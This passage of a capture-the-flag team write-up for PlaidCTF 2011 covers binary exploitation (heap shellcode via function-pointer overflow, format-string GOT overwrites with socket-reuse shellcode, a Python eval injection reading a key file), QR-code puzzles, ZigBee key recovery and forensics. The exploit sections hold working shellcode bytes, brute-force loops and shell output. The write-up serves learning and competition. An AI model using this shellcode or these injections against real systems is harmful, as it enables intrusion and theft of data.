\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"+"a"
*11+pack("<I", 0x8049dd0)’) 42

Result : Virtual_function_is_Virtue
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5.5 C++ upgrade

They have an update for the vulnerable C++ program trying to fix the bug. However, the coders
at AED suck and introduced another stupid mistake.
Get a shell (and the key, too.)
ssh username@a5.amalgamated.biz

Heap is ASLR, not executable but NX not effectively enabled.

Use strcpy of argv[1] to overflow function pointer to shellcode copied in heap from argv[4].
We use a small bruteforce to pass ASLR.

1 cd /opt/pctf/cpp2/
2 A=$(python -c ’base=0x08d28000;from struct import pack;print pack("<I",base+0x4c)

+"A"*42+pack("<I",base+0x1a)’)
3 B=$(python -c ’print "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x32\x5b\xb0\x05\x31\

xc9\xcd\x80\x89\xc6\xeb\x06\xb0\x01\x31\xdb\xcd\x80\x89\xf3\xb0\x03\x83\xec\
x01\x8d\x0c\x24\xb2\x01\xcd\x80\x31\xdb\x39\xc3\x74\xe6\xb0\x04\xb3\x01\xb2\
x01\xcd\x80\x83\xc4\x01\xeb\xdf\xe8\xc9\xff\xff\xffkey"’)

4 while :; do ./second_cpp "$A" 0 1 "$B"; [ $? -eq 0 ] && break; done

wait and you get: It_Wasn7_th4t_DifffficuLt_VVas_1t?

5.6 Hashcalc 1
Original HTML version : http://blog.stalkr.net/2011/04/pctf-2011-22-hashcalc1.
html

"Hashcalc 1" was binary exploitation over the network.

However, NX was not enabled on the wargame machine... Organizers thought they did, but
it was not effective :( Good for us it means only ASLR, and the binary was not even PIE. One
could exploit it quickly by writing a shellcode in the GOT, let’s see that.

1 nc a9.amalgamated.biz 30001

Analysis

Quickly reverse it and see that it’s a network server using regular sockets.
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decompilation by IDA Pro with Hex-Rays

In the main function that handles clients connections, we see that the server opens a log file,
and writes the user buffer into it using fprintf(fp, buf), which is an obvious format string vul-
nerability.

Using the format string vulnerability which gives us an arbitrary write, we would like to control
the program flow to our shellcode. We can do that by overwriting the pointer of the next
dynamic function being called: strlen. This pointer is located in the Global Offset Table (GOT).

strlen’s GOT entry is at 0x0804A41C

Using the format string with two write2 (However, our code is received in a buffer on the stack,
which has ASLR, so we cannot easily return to it. No problem, we can just use a bunch of
write2 to copy a shellcode in the GOT, for instance right after strlen.
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Choosing a shellcode, socket reuse

Since it is a remote exploitation, we can either use a classic connect-back shellcode or reuse
the socket and spawn a shell from there. Since the first solution can fail if there is an outbound
firewall (but there wasn’t), I chose the second one.

In order to do a socket reuse, we need to get the socket file descriptor. Easy, it’s incremen-
tal: 0 (stdin), 1 (stdout), 2 (stderr), 3 (log file), 4 (server socket) and 5 our client accept socket.
You can also simply guess it by trying numbers incrementally.

Then, we need a shellcode to close 0/1/2 and reopen them as duplicates of the client socket
file descriptor. Syscall dup2 does that, and a public shellcode doing it for fd 0 already exists.
We just adapt it to get the following 17 bytes:

1 $ echo -ne ’\x31\xc9\x31\xdb\xb3\x05\x6a\x3f\x58\xcd\x80\x41\x80\xf9\x03\x75\xf5’
|ndisasm -u -

2 00000000 31C9 xor ecx,ecx # ecx (new fd) => 0
3 00000002 31DB xor ebx,ebx # ebx (old fd) => 0
4 00000004 B305 mov bl,0x5 # ebx = 5, our socket fd
5 00000006 6A3F push byte +0x3f
6 00000008 58 pop eax # eax (syscall number) = sys_dup2
7 00000009 CD80 int 0x80 # syscall! dup2(5,ecx)
8 0000000B 41 inc ecx # increment new fd so
9 0000000C 80F903 cmp cl,0x3 # that we do this

10 0000000F 75F5 jnz 0x6 # for fd 0/1/2

Finally, just append a regular /bin/sh shellcode (23 bytes).

Exploit the format string

In order to have an arbitrary write, we need the offset in the stack of our buffer. And since
the format string happens in the log file, we don’t get this information remotely. Just run it
locally and view the log. Good thing here is that this offset will not move (fixed stack, recv into
the buffer) and we don’t need any padding unlike shell exploitation of format strings, where
your arguments influence the stack size and thus the offset and padding.

Then we just have to build our format string with 2 write2 to update strlen’s GOT entry and
multiple write2 to copy the shellcode in the GOT, right after strlen’s GOT entry. Full exploit
here: http://stalkr.net/files/pctf/2011/22_hashcalc1/exploit.py.html

Just run it with nc for the network part, and cat to keep stdin opened:

1 $ { python exploit.py; cat; } |nc a9.amalgamated.biz 30001
2 ** Welcome to the online hash calculator **
3 $ id
4 uid=1009(hashcalc1) gid=1010(hashcalc1) groups=1010(hashcalc1)

Quick & reliable, but remember that this exploit would not have worked if NX had been present,
unlike sleepya’s and surely others.
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5.7 Calculator
AED’s summer internship program is notorious for attracting terrible programmers. They’ve
resorted to giving them some of the simplest projects to work on. We expect this service that
the latest ’All-Star’ intern worked on all summer is no where near secure.
nc a9.amalgamated.biz 60124

We try 1+1 => 2, then ps fauxw on wargame box shows a python script.
Maybe it’s using eval? We try eval(1) => 1. Win! It must be eval(input).
Some chars are forbidden (like single quote) but we can build a string using chr() and eval() it.

1 # python -c ’print "eval("+"+".join(["chr(%i)" % ord(c) for c in "
open(\"/home/calculator/key\").read()"])+")"’ |nc a9.amalgamated.
biz 60124

2 Welcome to the online calculator. Please enter your expression below.
3 About to Calculate:
4 Calculating: eval(chr(111)+chr(112)+chr(101)+chr(110)+chr(40)+chr(34)+chr(47)+chr

(104)+chr(111)+chr(109)+chr(101)+chr(47)+chr(99)+chr(97)+chr(108)+chr(99)+chr
(117)+chr(108)+chr(97)+chr(116)+chr(111)+chr(114)+chr(47)+chr(107)+chr(101)+
chr(121)+chr(34)+chr(41)+chr(46)+chr(114)+chr(101)+chr(97)+chr(100)+chr(40)+
chr(41))

5 Equals: Y0_dawg,_I_he4rd_you_l1ke_EvA1

5.8 Hashcalc2
Original HTML version : http://blog.stalkr.net/2011/04/pctf-2011-26-hashcalc2.
html

1 nc a9.amalgamated.biz 10241

Analysis

Quickly reverse it and notice the following differences with hashcalc1:

* it no longer uses sockets

* hash calculation no longer relies on libc’s strlen() and uses its own version (repne scasb),
so we cannot overwrite its GOT

And that’s all!

No worries for strlen(), we just find the next libc function being called: it’s vsprintf(), called
when the program formats the message with the hash for the user. Its address in the GOT is
0x08049108.
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By the way, this time no need for a socket reuse: we can directly use a /bin/sh shellcode
because server normally runs with its stdin/stdout, network functionality being assured by a
superserver like inetd. By the way if you just want to run the binary locally you do not need to
install and configure inetd. You can merely use socat:

1 $ socat TCP-LISTEN:10241,reuseaddr,fork EXEC:./bin

Exploitation

So the only difference with hashcalc1 lies in the address: vsprintf’s GOT instead of strlen’s.
However, a small difficulty: we cannot use 2 write2 to modify vsprintf’s GOT because the sec-
ond write would be at address 0x08049108+2=0x0804910a, and 0a=
n breaks our input buffer :(

A simple solution is to use three writes: a write1 (Full exploit here: http://blog.stalkr.
net/2011/04/pctf-2011-26-hashcalc2.html

Just run it with nc for the network part, and cat to keep stdin opened:

1 $ { python exploit.py; cat; } |nc a9.amalgamated.biz 10241
2 ** Welcome to the online hash calculator **
3 $ id
4 uid=1008(hashcalc2) gid=1009(hashcalc2) groups=1009(hashcalc2)

Again, quick & reliable, but remember that this exploit would not have worked if NX had been
present, unlike sleepya’s and surely others.

6 QRCodes

6.1 Crosswords Masters
We found this crossword puzzle and images in a folder marked "DESTROY" in the recycling.
Looks like there is something that AED doesn’t want us to know...

We were given 3 files : a crossword to complete, a Qr Code named "Scrabble.png" and a
picture that seems incomplete (0_ .png).
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Scrabble Qr Code contains the string "ABDGIKMOPSTW". We noticed that when we invert
the colors of "0_ .png", the picture looks like an incomplete Qr Code.
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Presumably, we must complete the crossword, keep the letters in the string "ABDGIKMOPSTW"
or those which aren’t, and superimpose the squares kept on the incomplete picture to create a
valid Qr Code.

Once the crossword completed and both alternatives tested, we deduced that we must keep
the letters which aren’t in the string in order to complete the position detection patterns.
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We also noticed that we must not keep all the squares to create a valid Qr Code : if the square
is superimpose on white, it goes black, else, it goes white.
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Finally, we just need a drunken phone to read it : Sund4yT1m3s

6.2 Family Photo

After Amalgamted move to machine-generated passwords, employees started writing down
their hard-to-remember keys. Predictably, Amalgamated then instructed employees they were
not to write down their passwords. Since this annoyed a number of the more forgetful employ-
ees, one of the more clever ones came up with a new scheme. Just ’encrypt’ your password by
storing it on a qrcode! That way, they could just scan it and find their password, but their boss
wouldn’t know what was going on.
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We got an animated GIF composed by some QRCodes. Let’s extract every frame. Some con-
tains real text but no flag. The thing is that we can notice some grey pixel in every frame. That’s
the point, we have to create a new QRCode with the grey pixels of every frame.

Things to do :
–> Extracting every frames from the animated GIF
–> Grab every grey pixels from those frames
–> Put them into the new QRCode

This is the code I used, which requires a QRCode template (the four squares).
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1 import sys
2 import os
3 from PIL import Image
4

5 if len(sys.argv) != 3:
6 print ’Usage: python %s GIFAnimatedPicture QRCodeTemplate’ % (sys.argv[0])
7 sys.exit(2)
8

9 GIFimage = sys.argv[1]
10 QRCodeTemplate = sys.argv[2]
11 folder = ’./extractedFrames’
12

13 if os.path.exists(folder) == False:
14 os.makedirs(folder)
15

16 im = Image.open(GIFimage)
17 cptFrames = 1
18

19 againFrame = True
20 while againFrame:
21 try:
22 extractedFrame = folder + ’/extractedFrame’ + str(cptFrames) + ’.jpg’
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23 im.save(extractedFrame)
24 print ’Frame ’ + str(cptFrames) + ’ extracted...’
25 im.seek(im.tell() + 1)
26 cptFrames = cptFrames + 1
27 except:
28 againFrame = False
29 print ’Extraction finished...’
30

31 print ’QRCode creation...’
32 for cpt in range (1, cptFrames + 1):
33 GIFrame = ’extractedFrames/extractedFrame’ + str(cpt) + ’.jpg’
34 frame = Image.open(GIFrame)
35 final = Image.open(QRCodeTemplate)
36 pixFrame = frame.load()
37 pixFinal = final.load()
38

39 for x in range(frame.size[0]):
40 for y in range(frame.size[1]):
41 if pixFrame[x, y] not in range(0,15) and pixFrame[x, y] not in range

(200, 256):
42 pixFinal[x, y] = 0
43

44 final.save(QRCodeTemplate)
45 print ’QRCode created !’
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Solution:94f2aa71963b4b72d344bdee405cd9a5

6.3 Sticky Note

After Amalgamted move to machine-generated passwords, employees started writing down
their hard-to-remember keys. Predictably Amalgamated then instructed employees they were
not to write down their passwords. Since this annoyed a number of the more forgetful em-
ployees, one of the more clever ones came up with a new scheme. Just âĂŸencryptâĂŹ your
password by storing it on a qrcode! That way, they could just scan it and find their password,
but their boss wouldnâĂŹt know what was going on. This QRCode was found printed out and
taped to an employeeâĂŹs monitor. Find their key.

Get the image file, this is a qrcode.
Display it with ImageMagick. Scan it with the phone: fail.

ImageMagick->transform->flip (horizontal or vertical, doesn’t matter)

Scan it: got the key.
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7 Network

7.1 That’s no bluetooth!
We captured this network traffic from outside of an AED employee’s home.
Decrypt it and find the key.

Original HTML version : http://blog.stalkr.net/2011/04/pctf-2011-32-thats-no-bluetooth.
html

The only networking problem at pCTF 2011 was unusual because it involved ZigBee, based on
IEEE 802.15.4.

Context

We captured this network traffic from outside of an AED employee’s home.

Decrypt it and find the key.

Update: Our operatives were able to decrypt packet #18 in the capture file.

The decrypted data is

18060a0700421a63343a636f6e74726f6c345f73723235303a43342
d53523235300400420830332e30312e3534050020040600213c00 or (printable text only) Bc4:control4_sr250:C4-
SR250B03.01.54 !< If you aren’t getting the correct values, make sure your keys are correct,
and that they are entered correctly. Keep in mind bits sometimes flip when transmitting signals
wirelessly.

ZigBee?

First thing to do with a pcap, open it with Wireshark:

54

http://blog.stalkr.net/2011/04/pctf-2011-32-thats-no-bluetooth.html
http://blog.stalkr.net/2011/04/pctf-2011-32-thats-no-bluetooth.html


Wireshark recognizes IEEE 802.15.4 and ZigBee. At packet #13 you see "pCTF_ZigBee_LOL"
(15 bytes) while the following data packets are recognized as encrypted. After a few reads on
ZigBee you find that the communication is encrypted using AES-CTR with a network key of
16 bytes that has been sent in clear, at packet 13.

Frame Check Sequence (FCS)

Still in Wireshark, you see that the Frame Check Sequence (FCS) of packet #13 is incorrect.
As explained in the context, some bytes have flipped, much likely the last byte of the key (
x00). Let’s recover this missing byte by trying all possibilities and calculating the FCS of the
new frame to get the expected one (0xd3a1). According to the documentation, FCS is CRC-
16-CCITT (reversed polynom 0x8408).

1 def crc16(buff, crc = 0, poly = 0x8408):
2 l = len(buff)
3 i = 0
4 while i < l:
5 ch = ord(buff[i])
6 uc = 0
7 while uc < 8:
8 if (crc & 1) ^ (ch & 1):
9 crc = (crc >> 1) ^ poly

10 else:
11 crc >>= 1
12 ch >>= 1
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13 uc += 1
14 i += 1
15 return crc
16

17 p1 = ’a\x88nY3U6\x00\x00\x08\x00U6\x00\x00\x1ez\x01=\x05\x01’
18 key = ’pCTF_ZigBee_LOL’
19 p2 = ’\x00\x1a[A\x00\x00\xff\x0f\x00\xff\xff\xff\xff\xff\xff\xff\xff’
20

21 for i in range(256):
22 if crc16(p1 + key + chr(i) + p2)==0xd3a1:
23 print "Found byte %r (%02x)" % (chr(i),i)
24 print "Key is %r (%s)" % (key+chr(i), (key+chr(i)).encode("hex"))

Result:

1 Found byte ’\xea’ (ea)
2 Key is ’pCTF_ZigBee_LOL\xea’ (704354465f5a69674265655f4c4f4cea)

Decrypt ZigBee with Perytons

I first tried to decrypt ZigBee packets implementing their AES-CTR encryption (see this good
presentation), but it was painful. Let’s just find if a ZigBee analysis tool already exists. And
there is one! I found Perytons and they even provide a free evaluation (direct .exe link).

First, you have to convert the .pcap into their .anl format. Apparently they did not put this
into their software (why?) but give a form where you uploaed your .pcap and it returns you the
corresponding .anl file...

Then, run Perytons and import your .anl by using "File/New" menu. Perytons is clever enough
to automatically read the network key from the capture, however it has the wrong last byte. Fix
it by using "Tools/Security/Network keys" menu. You can then confirm with packet #17 (num-
bering starts from 0 unlike Wireshark which starts from 1) that the decryption was successful:
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Finally, just browse the data packets and you find the key at packet #394:

You read: "Key : z1gb33_r0ck5"

Thanks tylerni7 for this unusual challenge!

8 Forensics

8.1 Fun with Firewire
All of the machines at the AED office are encrypted using the amazing Truecrypt software.
When we grabbed one of their USB sticks from a computer, we also grabbed the memory using
the Firewire port.
Recover the key using the truecrypt image and the memory dump.

We got an archive with a memory dump and a truecrupt volume.

There was the hard way :
- Get derived key from the memory dump, modify truecrypt source to use derived key in order
to decrypt the crypted volume.
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And there was the easy way :
- Use a tool that does everything in 30 seconds...

We chose the easy way in order to solve the level quickly, we used the tool "passware password
recovery kit forensic".

8.2 Awesomeness
We found this weird text file on one of AED machines. It contains some repeated characters,
but we can’t figure out what it is.
Please examine and get us anything that’s useful! (well, get the key)
Download http://www.plaidctf.com/chals/d8acfb840311d442b9ddc6b1e5e32e313ebb5328.tgz
Update: BTW, this was found on Windows machine.

they gave us a tgz file, with an incorrect .png file, and one .rar archive.

Extracting the archive on a non ntfs partition with winrar give us errors about files with names
like that: bla:XXX.

This format makes us switch on the track of Alternate Data Stream attached on file inside
the rar. After we extracted the file, we launch streams.exe (from sysinternals) on it, which in-
dicate us 200 ADS, named from 1 to 200, each one containing a number in it.

for %i in (1,1,200) do cat filename:%i » out/%i.txt

If we check the png file, we see his header somewhere in the file, but not at the beginning.

In fact, the file was splitted in 200 parts, and the part were mixed according to the ads value,
here is a script what reconstruct the png file:

1 ads = []
2 for i in range(1,201):
3 ads.append(open("out/"+str(i)+".txt").read().strip())
4 ads = map(int,ads)
5

6 png_tab = []
7 png = open("78da90707ef111a9ab2c0229fd0b2d44713be532.png","rb").read()
8 chunk_size = len(png)/200
9 for i in range(200):

10 png_tab.append(png[i*chunk_size:i*chunk_size+chunk_size])
11

12 final_png = ""
13 for i in range(1,201):
14 final_png += png_tab[ ads.index(i) ]
15

16 f = open("final.png","wb")
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17 f.write(final_png)
18 f.close()

Result:
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